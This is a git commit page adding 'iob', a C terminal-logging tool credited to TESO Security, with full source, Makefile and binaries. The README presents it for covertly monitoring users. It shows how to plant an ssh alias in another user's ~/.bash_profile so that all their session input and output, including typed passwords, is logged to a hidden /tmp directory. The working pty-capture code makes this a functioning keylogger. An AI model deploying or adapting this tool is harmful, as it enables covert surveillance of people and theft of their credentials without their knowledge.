diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/iob | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/iob')
| -rw-r--r-- | other/iob/Makefile | 12 | ||||
| -rw-r--r-- | other/iob/README | 38 | ||||
| -rwxr-xr-x | other/iob/iob | bin | 0 -> 18915 bytes | |||
| -rw-r--r-- | other/iob/iob.c | 303 | ||||
| -rw-r--r-- | other/iob/pty.c | 315 | ||||
| -rw-r--r-- | other/iob/pty.h | 95 | ||||
| -rw-r--r-- | other/iob/pty.o | bin | 0 -> 2708 bytes |
7 files changed, 763 insertions, 0 deletions
diff --git a/other/iob/Makefile b/other/iob/Makefile new file mode 100644 index 0000000..0d30e35 --- /dev/null +++ b/other/iob/Makefile | |||
| @@ -0,0 +1,12 @@ | |||
| 1 | |||
| 2 | CFLAGS += -Wall -O2 | ||
| 3 | |||
| 4 | all: iob | ||
| 5 | |||
| 6 | iob: iob.c pty.o | ||
| 7 | $(CC) -o iob pty.o iob.c $(CFLAGS) | ||
| 8 | |||
| 9 | clean: | ||
| 10 | rm -f iob | ||
| 11 | rm -f *.o | ||
| 12 | |||
diff --git a/other/iob/README b/other/iob/README new file mode 100644 index 0000000..f97fddc --- /dev/null +++ b/other/iob/README | |||
| @@ -0,0 +1,38 @@ | |||
| 1 | |||
| 2 | iob - i/o bridge | ||
| 3 | version 0.1 | ||
| 4 | ================ | ||
| 5 | |||
| 6 | simple, stupid tty chaining program | ||
| 7 | |||
| 8 | |||
| 9 | used for: - quick logging of any program | ||
| 10 | - specific non-root based logging | ||
| 11 | - monitoring of users (i.e. log all shell i/o) | ||
| 12 | |||
| 13 | |||
| 14 | examples of use: | ||
| 15 | |||
| 16 | user@host$ cat iob.c | egrep "^#define.+DEFAULT_LOG" | ||
| 17 | #define DEFAULT_LOG "/tmp/.log-term/" | ||
| 18 | user@host$ cp iob /tmp | ||
| 19 | user@host$ mkdir /tmp/.log-term | ||
| 20 | user@host$ echo $SHELL | ||
| 21 | /bin/bash | ||
| 22 | user@host$ echo 'alias ssh="/tmp/iob -- ssh"' >> ~/.bash_profile | ||
| 23 | |||
| 24 | |||
| 25 | now, if the user logs in, any ssh command he issues, except with hardcoded | ||
| 26 | pathnames will trap into our tty chain, logging everything to a date-stamped | ||
| 27 | file in the /tmp/.log-term/ directory. simple, stupid, working. do not forget | ||
| 28 | to use the "--" option end marker in the alias. else getopt() will fuckup | ||
| 29 | inside the iob program, if the user uses ssh options. if you want to log | ||
| 30 | everything, run a shell from within his profile with an iob around it. if you | ||
| 31 | have any problems compiling/using it somewhere, fix it yourself. | ||
| 32 | |||
| 33 | advice: this is easy to detect, two extra processes are spawned per i/o chain, | ||
| 34 | it is far from being unobstrusive. | ||
| 35 | |||
| 36 | |||
| 37 | -sc. | ||
| 38 | |||
diff --git a/other/iob/iob b/other/iob/iob new file mode 100755 index 0000000..91272c3 --- /dev/null +++ b/other/iob/iob | |||
| Binary files differ | |||
diff --git a/other/iob/iob.c b/other/iob/iob.c new file mode 100644 index 0000000..5cd7f8c --- /dev/null +++ b/other/iob/iob.c | |||
| @@ -0,0 +1,303 @@ | |||
| 1 | /* iob - i/o bridge | ||
| 2 | * | ||
| 3 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 4 | * All Rights Reserved | ||
| 5 | * | ||
| 6 | * Redistribution and use in source and binary forms, with or without | ||
| 7 | * modification, are permitted provided that the following conditions are met: | ||
| 8 | * | ||
| 9 | * 1. Redistributions of source code must retain the above copyright notice, | ||
| 10 | * this list of conditions and the following disclaimer. | ||
| 11 | * | ||
| 12 | * 2. Redistributions in binary form must reproduce the above copyright notice, | ||
| 13 | * this list of conditions and the following disclaimer in the documentation | ||
| 14 | * and/or other materials provided with the distribution. | ||
| 15 | * | ||
| 16 | * 3. All advertising materials mentioning features or use of this software | ||
| 17 | * must display the following acknowledgement: | ||
| 18 | * | ||
| 19 | * This product includes software developed by TESO Security. | ||
| 20 | * | ||
| 21 | * 4. The name of TESO Security may not be used to endorse or promote products | ||
| 22 | * derived from this software without specific prior written permission. | ||
| 23 | * | ||
| 24 | * THIS SOFTWARE IS PROVIDED BY TESO ``AS IS'' AND ANY EXPRESS OR IMPLIED | ||
| 25 | * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF | ||
| 26 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO | ||
| 27 | * EVENT SHALL TESO SECURITY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | ||
| 28 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, | ||
| 29 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; | ||
| 30 | * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, | ||
| 31 | * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR | ||
| 32 | * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF | ||
| 33 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | ||
| 34 | * | ||
| 35 | ***************************************************************************** | ||
| 36 | * by scut 2001/10 | ||
| 37 | */ | ||
| 38 | |||
| 39 | /* mod here */ | ||
| 40 | #define DEFAULT_LOG "/tmp/.log-term/" | ||
| 41 | |||
| 42 | /* do not modify from here on | ||
| 43 | */ | ||
| 44 | #define VERSION "0.1" | ||
| 45 | |||
| 46 | #include <sys/types.h> | ||
| 47 | #include <signal.h> | ||
| 48 | #include <stdio.h> | ||
| 49 | #include <stdlib.h> | ||
| 50 | #include <unistd.h> | ||
| 51 | #include <termios.h> | ||
| 52 | #include <string.h> | ||
| 53 | #include <time.h> | ||
| 54 | |||
| 55 | #ifndef TIOCGWINSZ | ||
| 56 | #include <sys/ioctl.h> | ||
| 57 | #endif | ||
| 58 | #include "pty.h" | ||
| 59 | |||
| 60 | |||
| 61 | /* logging related data | ||
| 62 | */ | ||
| 63 | int log_in = 1; /* log input flag */ | ||
| 64 | int log_out = 1; /* log output flag */ | ||
| 65 | char * log_dir = DEFAULT_LOG; /* default log directory */ | ||
| 66 | |||
| 67 | FILE * log_fi = NULL; | ||
| 68 | FILE * log_fo = NULL; | ||
| 69 | |||
| 70 | char log_outn[256], | ||
| 71 | log_inn[256]; | ||
| 72 | |||
| 73 | |||
| 74 | static volatile sig_atomic_t sigcaught = 0; | ||
| 75 | int ts_fd_save; | ||
| 76 | struct termios ts_saved; /* before going to raw */ | ||
| 77 | int brute_output_fd = 0; | ||
| 78 | |||
| 79 | |||
| 80 | void usage (char *progname); | ||
| 81 | void tty_atexit (void); | ||
| 82 | static void t_loop (int ptym); | ||
| 83 | |||
| 84 | |||
| 85 | void | ||
| 86 | usage (char *progname) | ||
| 87 | { | ||
| 88 | fprintf (stderr, "iob - version "VERSION"\n\n"); | ||
| 89 | fprintf (stderr, "usage: %s [-h] [-d dir] [-i <0|1>] [-o <0|1>] <argv>\n\n" | ||
| 90 | "-h\t\tprint this help\n" | ||
| 91 | "-d <dir>\tlog to 'dir' directory (default: " DEFAULT_LOG ")\n" | ||
| 92 | "-i <0|1>\tlog input data (default: true, 1)\n" | ||
| 93 | "-o <0|1>\tlog output data (default: true, 1)\n\n", | ||
| 94 | progname); | ||
| 95 | |||
| 96 | exit (EXIT_SUCCESS); | ||
| 97 | } | ||
| 98 | |||
| 99 | |||
| 100 | int | ||
| 101 | main (int argc, char *argv[]) | ||
| 102 | { | ||
| 103 | char c; | ||
| 104 | char ** n_argv; | ||
| 105 | int interactive, /* != 0 if we are at a tty */ | ||
| 106 | fdm; /* pty master fd */ | ||
| 107 | |||
| 108 | time_t tnow; | ||
| 109 | struct tm * tm_now; | ||
| 110 | |||
| 111 | pid_t mpid; /* pid used for forking */ | ||
| 112 | char slave_name[20]; /* name of slave pty file */ | ||
| 113 | char log_time[64]; | ||
| 114 | |||
| 115 | /* original terminal properties in case we are already bound to | ||
| 116 | * a tty | ||
| 117 | */ | ||
| 118 | struct termios ts_orig; | ||
| 119 | struct termios * ts_init = NULL; | ||
| 120 | struct winsize ws_orig; | ||
| 121 | struct winsize * ws_init = NULL; | ||
| 122 | |||
| 123 | |||
| 124 | while ((c = getopt (argc, argv, "hd:i:o:")) != EOF) { | ||
| 125 | switch (c) { | ||
| 126 | case 'h': | ||
| 127 | usage (argv[0]); | ||
| 128 | break; | ||
| 129 | case 'd': | ||
| 130 | if (strlen (optarg) == 0) | ||
| 131 | exit (EXIT_FAILURE); | ||
| 132 | |||
| 133 | log_dir = malloc (strlen (optarg) + 2); | ||
| 134 | strcpy (log_dir, optarg); | ||
| 135 | |||
| 136 | if (log_dir[strlen (log_dir) - 1] != '/') | ||
| 137 | strcat (log_dir, "/"); | ||
| 138 | break; | ||
| 139 | case 'i': | ||
| 140 | log_in = (optarg[0] == '1') ? 1 : 0; | ||
| 141 | break; | ||
| 142 | case 'o': | ||
| 143 | log_out = (optarg[0] == '1') ? 1 : 0; | ||
| 144 | break; | ||
| 145 | default: | ||
| 146 | exit (EXIT_FAILURE); | ||
| 147 | break; | ||
| 148 | } | ||
| 149 | } | ||
| 150 | |||
| 151 | n_argv = &argv[optind]; | ||
| 152 | if (n_argv[0] == NULL) | ||
| 153 | usage (argv[0]); | ||
| 154 | |||
| 155 | if (n_argv[0] == argv[0] || strlen (n_argv[0]) == 0) | ||
| 156 | exit (EXIT_SUCCESS); | ||
| 157 | |||
| 158 | /* get time and open logfiles | ||
| 159 | */ | ||
| 160 | time (&tnow); | ||
| 161 | tm_now = localtime (&tnow); | ||
| 162 | snprintf (log_time, sizeof (log_time), | ||
| 163 | "%04d%02d%02d_%02d%02d_%05d_%s", | ||
| 164 | tm_now->tm_year + 1900, tm_now->tm_mon + 1, tm_now->tm_mday, | ||
| 165 | tm_now->tm_hour, tm_now->tm_min, | ||
| 166 | getpid (), | ||
| 167 | strrchr (n_argv[0], '/') == NULL ? n_argv[0] : | ||
| 168 | strrchr (n_argv[0], '/') + 1); | ||
| 169 | |||
| 170 | snprintf (log_inn, sizeof (log_inn), "%s%s.in", log_dir, log_time); | ||
| 171 | snprintf (log_outn, sizeof (log_outn), "%s%s.out", log_dir, log_time); | ||
| 172 | |||
| 173 | |||
| 174 | /* find out whether the current terminal is driven by another tty | ||
| 175 | * and in case it is, fetch the appropiate structures to pass to | ||
| 176 | * pty_fork | ||
| 177 | */ | ||
| 178 | interactive = isatty (STDIN_FILENO); | ||
| 179 | |||
| 180 | if (interactive != 0) { | ||
| 181 | if (tcgetattr (STDIN_FILENO, &ts_orig) < 0) | ||
| 182 | exit (EXIT_FAILURE); | ||
| 183 | |||
| 184 | ts_init = &ts_orig; | ||
| 185 | |||
| 186 | if (ioctl (STDIN_FILENO, TIOCGWINSZ, (char *) &ws_orig) < 0) | ||
| 187 | exit (EXIT_FAILURE); | ||
| 188 | |||
| 189 | ws_init = &ws_orig; | ||
| 190 | } | ||
| 191 | |||
| 192 | mpid = pty_fork (&fdm, slave_name, ts_init, ws_init); | ||
| 193 | if (mpid < 0) | ||
| 194 | exit (EXIT_FAILURE); | ||
| 195 | |||
| 196 | /* in case we're a the child process, we execute a program | ||
| 197 | */ | ||
| 198 | if (mpid == 0) { | ||
| 199 | execvp (n_argv[0], n_argv); | ||
| 200 | |||
| 201 | /* an error occured | ||
| 202 | */ | ||
| 203 | exit (EXIT_FAILURE); | ||
| 204 | } | ||
| 205 | |||
| 206 | if (interactive != 0) { | ||
| 207 | ts_fd_save = STDIN_FILENO; | ||
| 208 | if (tty_raw (STDIN_FILENO, &ts_saved) < 0) | ||
| 209 | exit (EXIT_FAILURE); | ||
| 210 | |||
| 211 | /* install atexit cleanup handler | ||
| 212 | */ | ||
| 213 | if (atexit (tty_atexit) < 0) | ||
| 214 | exit (EXIT_FAILURE); | ||
| 215 | } | ||
| 216 | |||
| 217 | t_loop (fdm); | ||
| 218 | |||
| 219 | exit (EXIT_SUCCESS); | ||
| 220 | } | ||
| 221 | |||
| 222 | |||
| 223 | void | ||
| 224 | tty_atexit (void) | ||
| 225 | { | ||
| 226 | tcsetattr (ts_fd_save, TCSAFLUSH, &ts_saved); | ||
| 227 | |||
| 228 | return; | ||
| 229 | } | ||
| 230 | |||
| 231 | |||
| 232 | static void | ||
| 233 | t_loop (int ptym) | ||
| 234 | { | ||
| 235 | pid_t child; | ||
| 236 | int nread; | ||
| 237 | char buff[512]; | ||
| 238 | FILE * log_fo; | ||
| 239 | |||
| 240 | |||
| 241 | child = fork (); | ||
| 242 | if (child < 0) | ||
| 243 | exit (EXIT_FAILURE); | ||
| 244 | |||
| 245 | log_fi = log_fo = NULL; | ||
| 246 | |||
| 247 | if (child == 0) { | ||
| 248 | if (log_in) { | ||
| 249 | log_fi = fopen (log_inn, "wb"); | ||
| 250 | if (log_fi == NULL) | ||
| 251 | exit (EXIT_FAILURE); | ||
| 252 | } | ||
| 253 | |||
| 254 | /* child loop | ||
| 255 | */ | ||
| 256 | for ( ; ; ) { | ||
| 257 | nread = read (STDIN_FILENO, buff, sizeof (buff)); | ||
| 258 | if (nread < 0) | ||
| 259 | exit (EXIT_FAILURE); | ||
| 260 | |||
| 261 | if (nread == 0) | ||
| 262 | break; | ||
| 263 | |||
| 264 | if (write (ptym, buff, nread) != nread) | ||
| 265 | exit (EXIT_FAILURE); | ||
| 266 | |||
| 267 | if (log_fi != NULL) { | ||
| 268 | fwrite (buff, nread, 1, log_fi); | ||
| 269 | fflush (log_fi); | ||
| 270 | } | ||
| 271 | } | ||
| 272 | } | ||
| 273 | |||
| 274 | if (log_out) { | ||
| 275 | log_fo = fopen (log_outn, "wb"); | ||
| 276 | if (log_fo == NULL) | ||
| 277 | exit (EXIT_FAILURE); | ||
| 278 | } | ||
| 279 | |||
| 280 | /* parent loop | ||
| 281 | */ | ||
| 282 | for ( ; ; ) { | ||
| 283 | |||
| 284 | nread = read (ptym, buff, sizeof (buff)); | ||
| 285 | if (nread <= 0) | ||
| 286 | break; | ||
| 287 | |||
| 288 | if (write (STDOUT_FILENO, buff, nread) != nread) | ||
| 289 | exit (EXIT_FAILURE); | ||
| 290 | |||
| 291 | if (log_fo != NULL) { | ||
| 292 | fwrite (buff, nread, 1, log_fo); | ||
| 293 | fflush (log_fo); | ||
| 294 | } | ||
| 295 | } | ||
| 296 | |||
| 297 | if (sigcaught == 0) | ||
| 298 | kill (child, SIGTERM); | ||
| 299 | |||
| 300 | return; | ||
| 301 | } | ||
| 302 | |||
| 303 | |||
diff --git a/other/iob/pty.c b/other/iob/pty.c new file mode 100644 index 0000000..a2afa95 --- /dev/null +++ b/other/iob/pty.c | |||
| @@ -0,0 +1,315 @@ | |||
| 1 | /* iob - i/o bridge | ||
| 2 | * | ||
| 3 | * by scut, based mostly of r. stevens masterpiece apue with some twirks | ||
| 4 | * | ||
| 5 | * pseudo tty handler | ||
| 6 | */ | ||
| 7 | |||
| 8 | #include <sys/types.h> | ||
| 9 | #include <sys/stat.h> | ||
| 10 | #include <errno.h> | ||
| 11 | #include <fcntl.h> | ||
| 12 | #include <grp.h> | ||
| 13 | #include <termios.h> | ||
| 14 | #include <stdio.h> | ||
| 15 | #include <stdlib.h> | ||
| 16 | #include <string.h> | ||
| 17 | #ifndef TIOCGWINSZ | ||
| 18 | #include <sys/ioctl.h> | ||
| 19 | #endif | ||
| 20 | #ifdef SYS_V_RELEASE_4 | ||
| 21 | #include <stropts.h> | ||
| 22 | #endif | ||
| 23 | #include <unistd.h> | ||
| 24 | |||
| 25 | |||
| 26 | #ifdef SYS_V_RELEASE_4 | ||
| 27 | |||
| 28 | extern char *ptsname (int); /* prototype not in any system header */ | ||
| 29 | |||
| 30 | int | ||
| 31 | pty_m_open (char *pts_name) | ||
| 32 | { | ||
| 33 | char *ptr; | ||
| 34 | int fdm; | ||
| 35 | |||
| 36 | strcpy (pts_name, "/dev/ptmx"); | ||
| 37 | fdm = open (pts_name, O_RDWR); | ||
| 38 | if (fdm < 0) | ||
| 39 | return (-1); | ||
| 40 | |||
| 41 | if (grantpt (fdm) < 0) { | ||
| 42 | close (fdm); | ||
| 43 | return (-2); | ||
| 44 | } | ||
| 45 | |||
| 46 | if (unlockpt (fdm) < 0) { | ||
| 47 | close (fdm); | ||
| 48 | return (-3); | ||
| 49 | } | ||
| 50 | |||
| 51 | ptr = ptsname (fdm); | ||
| 52 | if (ptr == NULL) { | ||
| 53 | close (fdm); | ||
| 54 | return (-4); | ||
| 55 | } | ||
| 56 | |||
| 57 | strcpy (pts_name, ptr); | ||
| 58 | |||
| 59 | return (fdm); | ||
| 60 | } | ||
| 61 | |||
| 62 | |||
| 63 | int | ||
| 64 | pty_s_open (int fdm, char *pts_name) | ||
| 65 | { | ||
| 66 | int fds; | ||
| 67 | |||
| 68 | fds = open (pts_name, O_RDWR); | ||
| 69 | if (fds < 0) { | ||
| 70 | close (fdm); | ||
| 71 | return (-5); | ||
| 72 | } | ||
| 73 | |||
| 74 | if (ioctl (fds, I_PUSH, "ptem") < 0) { | ||
| 75 | close (fdm); | ||
| 76 | close (fds); | ||
| 77 | return (-6); | ||
| 78 | } | ||
| 79 | |||
| 80 | if (ioctl (fds, I_PUSH, "ldterm") < 0) { | ||
| 81 | close (fdm); | ||
| 82 | close (fds); | ||
| 83 | return (-7); | ||
| 84 | } | ||
| 85 | |||
| 86 | if (ioctl (fds, I_PUSH, "ttcompat") < 0) { | ||
| 87 | close (fdm); | ||
| 88 | close (fds); | ||
| 89 | return (-8); | ||
| 90 | } | ||
| 91 | |||
| 92 | return (fds); | ||
| 93 | } | ||
| 94 | |||
| 95 | #else | ||
| 96 | |||
| 97 | |||
| 98 | int | ||
| 99 | pty_m_open (char *pts_name) | ||
| 100 | { | ||
| 101 | int fdm; | ||
| 102 | char *ptr1, | ||
| 103 | *ptr2; | ||
| 104 | |||
| 105 | strcpy (pts_name, "/dev/ptyXY"); | ||
| 106 | for (ptr1 = "pqrstuvwxyzPQRST" ; *ptr1 != 0 ; ++ptr1) { | ||
| 107 | pts_name[8] = *ptr1; | ||
| 108 | |||
| 109 | for (ptr2 = "0123456789abcdef" ; *ptr2 != 0 ; ++ptr2) { | ||
| 110 | pts_name[9] = *ptr2; | ||
| 111 | fdm = open (pts_name, O_RDWR); | ||
| 112 | if (fdm < 0) { | ||
| 113 | if (errno == ENOENT) | ||
| 114 | return (-1); | ||
| 115 | else | ||
| 116 | continue; | ||
| 117 | } | ||
| 118 | |||
| 119 | pts_name[5] = 't'; | ||
| 120 | |||
| 121 | return (fdm); | ||
| 122 | } | ||
| 123 | } | ||
| 124 | |||
| 125 | return (-1); | ||
| 126 | } | ||
| 127 | |||
| 128 | |||
| 129 | int | ||
| 130 | pty_s_open (int fdm, char *pts_name) | ||
| 131 | { | ||
| 132 | struct group *grp_ptr; | ||
| 133 | int gid, | ||
| 134 | fds; | ||
| 135 | |||
| 136 | grp_ptr = getgrnam ("tty"); | ||
| 137 | if (grp_ptr != NULL) | ||
| 138 | gid = grp_ptr->gr_gid; | ||
| 139 | else | ||
| 140 | gid = -1; | ||
| 141 | |||
| 142 | chown (pts_name, getuid (), gid); | ||
| 143 | chmod (pts_name, S_IRUSR | S_IWUSR | S_IWGRP); | ||
| 144 | |||
| 145 | fds = open (pts_name, O_RDWR); | ||
| 146 | if (fds < 0) { | ||
| 147 | close (fdm); | ||
| 148 | |||
| 149 | return (-1); | ||
| 150 | } | ||
| 151 | |||
| 152 | return (fds); | ||
| 153 | } | ||
| 154 | |||
| 155 | #endif | ||
| 156 | |||
| 157 | |||
| 158 | /* pty_fork | ||
| 159 | * | ||
| 160 | */ | ||
| 161 | |||
| 162 | pid_t | ||
| 163 | pty_fork (int *fd_master_ptr, char *slave_name, | ||
| 164 | const struct termios *slave_termios, | ||
| 165 | const struct winsize *slave_winsize) | ||
| 166 | { | ||
| 167 | int fdm, | ||
| 168 | fds; | ||
| 169 | pid_t pid; | ||
| 170 | char pts_name[20]; | ||
| 171 | |||
| 172 | fdm = pty_m_open (pts_name); | ||
| 173 | if (fdm < 0) { | ||
| 174 | exit (EXIT_FAILURE); | ||
| 175 | } | ||
| 176 | |||
| 177 | if (slave_name != NULL) | ||
| 178 | strcpy (slave_name, pts_name); | ||
| 179 | |||
| 180 | pid = fork (); | ||
| 181 | if (pid < 0) | ||
| 182 | return (-1); | ||
| 183 | |||
| 184 | if (pid == 0) { | ||
| 185 | if (setsid () < 0) | ||
| 186 | exit (EXIT_FAILURE); | ||
| 187 | fds = pty_s_open (fdm, pts_name); | ||
| 188 | if (fds < 0) | ||
| 189 | exit (EXIT_FAILURE); | ||
| 190 | close (fdm); | ||
| 191 | |||
| 192 | #if defined(TIOCSCTTY) && !defined(CIBAUD) | ||
| 193 | if (ioctl (fds, TIOCSCTTY, (char *) 0) < 0) | ||
| 194 | exit (EXIT_FAILURE); | ||
| 195 | #endif | ||
| 196 | if (slave_termios != NULL) { | ||
| 197 | if (tcsetattr (fds, TCSANOW, slave_termios) < 0) | ||
| 198 | exit (EXIT_FAILURE); | ||
| 199 | } | ||
| 200 | if (slave_winsize != NULL) { | ||
| 201 | if (ioctl (fds, TIOCSWINSZ, slave_winsize) < 0) | ||
| 202 | exit (EXIT_FAILURE); | ||
| 203 | } | ||
| 204 | |||
| 205 | if (dup2 (fds, STDIN_FILENO) != STDIN_FILENO || | ||
| 206 | dup2 (fds, STDOUT_FILENO) != STDOUT_FILENO || | ||
| 207 | dup2 (fds, STDERR_FILENO) != STDERR_FILENO) | ||
| 208 | { | ||
| 209 | exit (EXIT_FAILURE); | ||
| 210 | } | ||
| 211 | if (fds > STDERR_FILENO) | ||
| 212 | close (fds); | ||
| 213 | |||
| 214 | return (0); /* just like fork (), child */ | ||
| 215 | } else { | ||
| 216 | *fd_master_ptr = fdm; | ||
| 217 | |||
| 218 | return (pid); | ||
| 219 | } | ||
| 220 | } | ||
| 221 | |||
| 222 | |||
| 223 | void | ||
| 224 | set_noecho (int fd) | ||
| 225 | { | ||
| 226 | struct termios stermios; | ||
| 227 | |||
| 228 | if (tcgetattr (fd, &stermios) < 0) | ||
| 229 | exit (EXIT_FAILURE); | ||
| 230 | |||
| 231 | stermios.c_lflag &= ~(ECHO | ECHOE | ECHOK | ECHONL); | ||
| 232 | stermios.c_oflag &= ~(ONLCR); | ||
| 233 | |||
| 234 | if (tcsetattr (fd, TCSANOW, &stermios) < 0) | ||
| 235 | exit (EXIT_FAILURE); | ||
| 236 | |||
| 237 | return; | ||
| 238 | } | ||
| 239 | |||
| 240 | |||
| 241 | int | ||
| 242 | tty_raw (int fd, struct termios *sios) | ||
| 243 | { | ||
| 244 | struct termios tios; | ||
| 245 | |||
| 246 | |||
| 247 | if (sios != NULL && tcgetattr (fd, sios) < 0) | ||
| 248 | return (-1); | ||
| 249 | |||
| 250 | /* saved old termios structure, now copy it to work with it | ||
| 251 | */ | ||
| 252 | memcpy (&tios, sios, sizeof (struct termios)); | ||
| 253 | |||
| 254 | tios.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); | ||
| 255 | tios.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON); | ||
| 256 | tios.c_cflag &= ~(CSIZE | PARENB); | ||
| 257 | tios.c_cflag |= CS8; | ||
| 258 | tios.c_oflag &= ~(OPOST); | ||
| 259 | tios.c_cc[VMIN] = 1; | ||
| 260 | tios.c_cc[VTIME] = 0; | ||
| 261 | |||
| 262 | if (tcsetattr (fd, TCSAFLUSH, &tios) < 0) | ||
| 263 | return (-1); | ||
| 264 | |||
| 265 | return (0); | ||
| 266 | } | ||
| 267 | |||
| 268 | |||
| 269 | int | ||
| 270 | pty_setup (void (* handler)(void *), void *data) | ||
| 271 | { | ||
| 272 | int interactive, | ||
| 273 | fdm; | ||
| 274 | pid_t mpid; | ||
| 275 | |||
| 276 | char slave_name[20]; | ||
| 277 | struct termios ts_orig; | ||
| 278 | struct termios * ts_init = NULL; | ||
| 279 | struct winsize ws_orig; | ||
| 280 | struct winsize * ws_init = NULL; | ||
| 281 | |||
| 282 | |||
| 283 | interactive = isatty (STDIN_FILENO); | ||
| 284 | if (interactive != 0) { | ||
| 285 | if (tcgetattr (STDIN_FILENO, &ts_orig) < 0) | ||
| 286 | exit (EXIT_FAILURE); | ||
| 287 | |||
| 288 | ts_init = &ts_orig; | ||
| 289 | |||
| 290 | if (ioctl (STDIN_FILENO, TIOCGWINSZ, (char *) &ws_orig) < 0) | ||
| 291 | exit (EXIT_FAILURE); | ||
| 292 | |||
| 293 | ws_init = &ws_orig; | ||
| 294 | } | ||
| 295 | |||
| 296 | mpid = pty_fork (&fdm, slave_name, ts_init, ws_init); | ||
| 297 | if (mpid < 0) | ||
| 298 | exit (EXIT_FAILURE); | ||
| 299 | |||
| 300 | /* child calls handler | ||
| 301 | */ | ||
| 302 | if (mpid == 0) { | ||
| 303 | handler (data); | ||
| 304 | |||
| 305 | /* handler shouldn't return | ||
| 306 | */ | ||
| 307 | printf ("pty handler returned, failure\n"); | ||
| 308 | exit (EXIT_FAILURE); | ||
| 309 | } | ||
| 310 | |||
| 311 | /* parent just returns master filedescriptor | ||
| 312 | */ | ||
| 313 | return (fdm); | ||
| 314 | } | ||
| 315 | |||
diff --git a/other/iob/pty.h b/other/iob/pty.h new file mode 100644 index 0000000..864965d --- /dev/null +++ b/other/iob/pty.h | |||
| @@ -0,0 +1,95 @@ | |||
| 1 | /* brutate | ||
| 2 | * | ||
| 3 | * scut / team teso | ||
| 4 | * | ||
| 5 | * pseudo tty handler include file | ||
| 6 | */ | ||
| 7 | |||
| 8 | #ifndef BR_PTY_H | ||
| 9 | #define BR_PTY_H | ||
| 10 | |||
| 11 | #include <sys/types.h> | ||
| 12 | #include <sys/ioctl.h> | ||
| 13 | #include <termios.h> | ||
| 14 | |||
| 15 | |||
| 16 | /* pty_m_open | ||
| 17 | * | ||
| 18 | * open master pty and return actual file used in `pts_name', which has | ||
| 19 | * to point to allocated memory and must be at least 20 bytes long. | ||
| 20 | * | ||
| 21 | * return master pty filedescriptor in case of success | ||
| 22 | * return negative error number in case of failure | ||
| 23 | */ | ||
| 24 | |||
| 25 | int pty_m_open (char *pts_name); | ||
| 26 | |||
| 27 | |||
| 28 | /* pty_s_open | ||
| 29 | * | ||
| 30 | * open slave pty with filename pointed to by `pts_name' and bind it to | ||
| 31 | * master pty with descriptor `fdm'. | ||
| 32 | * | ||
| 33 | * return slave pty filedescriptor in case of success | ||
| 34 | * return negative error number in case of failure | ||
| 35 | */ | ||
| 36 | |||
| 37 | int pty_s_open (int fdm, char *pts_name); | ||
| 38 | |||
| 39 | |||
| 40 | /* pty_fork | ||
| 41 | * | ||
| 42 | * fork a child process and create a pty binding between this parent process | ||
| 43 | * (master pty) and the child process (slave pty). return the master pty | ||
| 44 | * filedescriptor through `fd_master_ptr'. `slave_name' may be NULL or contain | ||
| 45 | * a pointer to allocated memory where the slave pty name will be stored. | ||
| 46 | * `slave_termios' may be NULL or contain a valid termios structure which will | ||
| 47 | * initialize the slave terminal line discipline. in case `slave_winsize' is | ||
| 48 | * not NULL it will initialize the slave pty window size. | ||
| 49 | * | ||
| 50 | * return values are the same as the ones of fork(2) (see "man 2 fork"). | ||
| 51 | */ | ||
| 52 | |||
| 53 | pid_t pty_fork (int *fd_master_ptr, char *slave_name, | ||
| 54 | const struct termios *slave_termios, | ||
| 55 | const struct winsize *slave_winsize); | ||
| 56 | |||
| 57 | |||
| 58 | /* set_noecho | ||
| 59 | * | ||
| 60 | * disable echo capability on terminal associated with filedescriptor `fd' | ||
| 61 | * | ||
| 62 | * return in any case | ||
| 63 | */ | ||
| 64 | |||
| 65 | void set_noecho (int fd); | ||
| 66 | |||
| 67 | |||
| 68 | /* tty_raw | ||
| 69 | * | ||
| 70 | * put terminal associated with filedescriptor `fd' into raw mode, saving the | ||
| 71 | * current mode into the termios structure pointed to by `sios' in case it is | ||
| 72 | * non-NULL | ||
| 73 | * | ||
| 74 | * return 0 on success | ||
| 75 | * return -1 on failure | ||
| 76 | */ | ||
| 77 | |||
| 78 | int tty_raw (int fd, struct termios *sios); | ||
| 79 | |||
| 80 | |||
| 81 | /* pty_setup | ||
| 82 | * | ||
| 83 | * helper routine, which allocates a pseudo terminal and tries to preserve | ||
| 84 | * as much settings as possible from the current terminal. then it forks | ||
| 85 | * away a child process in which nothing happens except that the handler | ||
| 86 | * function `handler' is called with `data' as parameter. | ||
| 87 | * | ||
| 88 | * returns the filedescriptor of the pty on success | ||
| 89 | * exits in case of failure | ||
| 90 | */ | ||
| 91 | |||
| 92 | int pty_setup (void (* handler)(void *), void *data); | ||
| 93 | |||
| 94 | #endif | ||
| 95 | |||
diff --git a/other/iob/pty.o b/other/iob/pty.o new file mode 100644 index 0000000..a4e25b2 --- /dev/null +++ b/other/iob/pty.o | |||
| Binary files differ | |||
